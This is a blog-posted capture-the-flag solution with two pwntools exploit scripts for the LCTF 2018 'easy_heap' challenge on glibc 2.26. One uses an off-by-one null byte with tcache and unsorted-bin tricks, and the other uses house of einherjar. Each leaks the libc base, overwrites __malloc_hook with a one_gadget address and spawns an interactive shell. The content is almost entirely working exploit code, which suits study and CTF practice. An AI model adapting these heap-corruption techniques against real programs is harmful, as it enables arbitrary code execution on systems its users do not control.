lctf2018 easyheap exp for libc2.26

 1 from pwn import *
 2 #ARCH SETTING
 3 context(arch = 'amd64' , os = 'linux')
 4 r = process('./easy_heap')
 5 #r = remote('127.0.0.1',9999)
 6 
 7 #FUNCTION DEFINE
 8 def new(size,content):
 9     r.recvuntil("?
> ")
10     r.sendline("1")
11     r.recvuntil("size 
> ")
12     r.sendline(str(size))
13     r.recvuntil("content 
> ")
14     r.send(content)
15 
16 def newz():
17     r.recvuntil("?
> ")
18     r.sendline("1")
19     r.recvuntil("size 
> ")
20     r.sendline(str(0))
21 
22 def delet(idx):
23     r.recvuntil("?
> ")
24     r.sendline("2")
25     r.recvuntil("index 
> ")
26     r.sendline(str(idx))
27 
28 def echo(idx):
29     r.recvuntil("?
> ")
30     r.sendline("3")
31     r.recvuntil("index 
> ")
32     r.sendline(str(idx))
33 
34 #MAIN EXPLOIT
35 
36 #memory leak
37 for i in range(10):
38     newz()
39 #choose chunk0 2 4 into unsorted bin
40 delet(1)
41 delet(3)
42 for i in range(5,10):
43     delet(i)
44 #now tcache filled ,waiting queue is idx.1 , 3 , 5~10
45 #make unsorted bin: ustbin -> 4 -> 2 -> 0  ,then chunk2 will be leak_target_chunk
46 delet(0)
47 delet(2)
48 delet(4)
49 #waiting queue is idx.0~10chunk9~5 , 3 , 1 ,and now all chunks was freed ,heap was null
50 #clean tcache
51 for i in range(7):
52     newz() #chunk3 is idx.5 (987653:012345)
53 #unsorted_bin trans to tcache
54 newz() #idx.7:pushing 0x00 on the lowest byte will hijack leak_target_chunk.BK's fd bingo on target!
55 new(0xf8,'x00') #idx.8:1.off-by-one the preinuse bit of chunk3   2.hijack the lowest byte of leak_target_chunk correctly to FD
56 #fill tcache but don't touch idx.7 , 8 , 5 (six enough considering chunk0 remained in tcache)
57 for i in range(5):
58     delet(i)
59 delet(6)
60 #merge & leak
61 delet(5)
62 echo(8)
63 unsorted_bin = u64(r.recv(6).ljust(8,'x00'))
64 libc_base = unsorted_bin - 0x3dac78
65 print(hex(libc_base))
66 malloc_hook = libc_base + 0x3dac10
67 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde
68 
69 #hijack
70 #clean tcache
71 for i in range(7):
72     newz()
73 newz() #idx.9
74 #now we hold idx.8&9  pointing chunk2
75 delet(0) #passby counts check
76 delet(8)
77 delet(9)
78 new(0x10,p64(malloc_hook))
79 newz()
80 new(0x10,p64(onegadget))
81 
82 #fire
83 #according to the logic that size is inputed after malloc
84 delet(1) #passby idxtable full check
85 #x = input("fucking")
86 r.recvuntil("?
> ")
87 r.sendline("1")
88 r.interactive()

exp2:house of einherjar

  1 from pwn import *
  2 #ARCH SETTING
  3 context(arch = 'amd64' , os = 'linux')
  4 r = process('./easy_heap')
  5 #r = remote('127.0.0.1',9999)
  6 
  7 #FUNCTION DEFINE
  8 def new(size,content):
  9     r.recvuntil("?
> ")
 10     r.sendline("1")
 11     r.recvuntil("size 
> ")
 12     r.sendline(str(size))
 13     r.recvuntil("content 
> ")
 14     r.send(content)
 15 
 16 def newz():
 17     r.recvuntil("?
> ")
 18     r.sendline("1")
 19     r.recvuntil("size 
> ")
 20     r.sendline(str(0))
 21 
 22 def delet(idx):
 23     r.recvuntil("?
> ")
 24     r.sendline("2")
 25     r.recvuntil("index 
> ")
 26     r.sendline(str(idx))
 27 
 28 def echo(idx):
 29     r.recvuntil("?
> ")
 30     r.sendline("3")
 31     r.recvuntil("index 
> ")
 32     r.sendline(str(idx))
 33 
 34 #MAIN EXPLOIT
 35 
 36 #memory leak
 37 #prepare for EG attack ,we will build a chunk with presize 0x200
 38 for i in range(10):
 39     newz()
 40 #fill tcache
 41 for i in range(3,10):
 42     delet(i)
 43 #chunk0 1 merge to ustbin, and the chunk2.presize will be 0x200
 44 delet(0)
 45 delet(1)
 46 delet(2) #to make presize stable;maybe only link change both presize and sizeinuse, unlink only change inuse
 47 #x = input("debug")
 48 #then our target is cross-merge
 49 #for cross-merge we must make sure that chunk0 is freed for bypass
 50 #clean tcache
 51 for i in range(7):
 52     newz() #idx.0~7
 53 #x = input("debug33")
 54 newz() #idx.7 chunk0
 55 #x = input("debug33")
 56 newz() #idx.8 chunk1
 57 #x = input("debug33")
 58 newz() #idx.9 chunk2
 59 #x = input("debugggg")
 60 #fill tcache
 61 for i in range(0,7):
 62     delet(i)
 63 #chunk0 into unsorted bin to correct fd & bk for bypass unlink check
 64 delet(7)
 65 #out a chunk from tcache to give a space for chunk1 in-out ,in order to prevent merging again
 66 newz() #idx.0
 67 delet(8)
 68 new(0xf8,'x00') #idx.1 ,we hold it
 69 delet(0) #give back idx.0 to refill tcache
 70 delet(9) #fire
 71 #x = input("debug0")
 72 #clean tcache
 73 for i in range(7):
 74     newz() #idx:0 , 2~7
 75 newz() #idx.8 to cut chunk0, now chunk1.fd & bk point unsorted bin merging with chunk2
 76 #x = input("debug")
 77 echo(1)
 78 unsorted_bin = u64(r.recv(6).ljust(8,'x00'))
 79 libc_base = unsorted_bin - 0x3dac78
 80 print(hex(libc_base))
 81 malloc_hook = libc_base + 0x3dac10
 82 onegadget = libc_base + 0xfdb8e #0x47ca1 #0x7838e #0x47c9a #0xfccde
 83 #x = input("pause")
 84 
 85 #hijack
 86 newz() #idx.9
 87 #now we hold idx.1&9  pointing chunk1
 88 delet(0) #passby counts check
 89 delet(1)
 90 delet(9)
 91 new(0x10,p64(malloc_hook))
 92 newz()
 93 new(0x10,p64(onegadget))
 94 
 95 #fire
 96 #according to the logic that size is inputed after malloc
 97 delet(2) #passby idxtable full check
 98 #x = input("fucking")
 99 r.recvuntil("?
> ")
100 r.sendline("1")
101 r.interactive()
原文地址:https://www.cnblogs.com/Magpie/p/10097012.html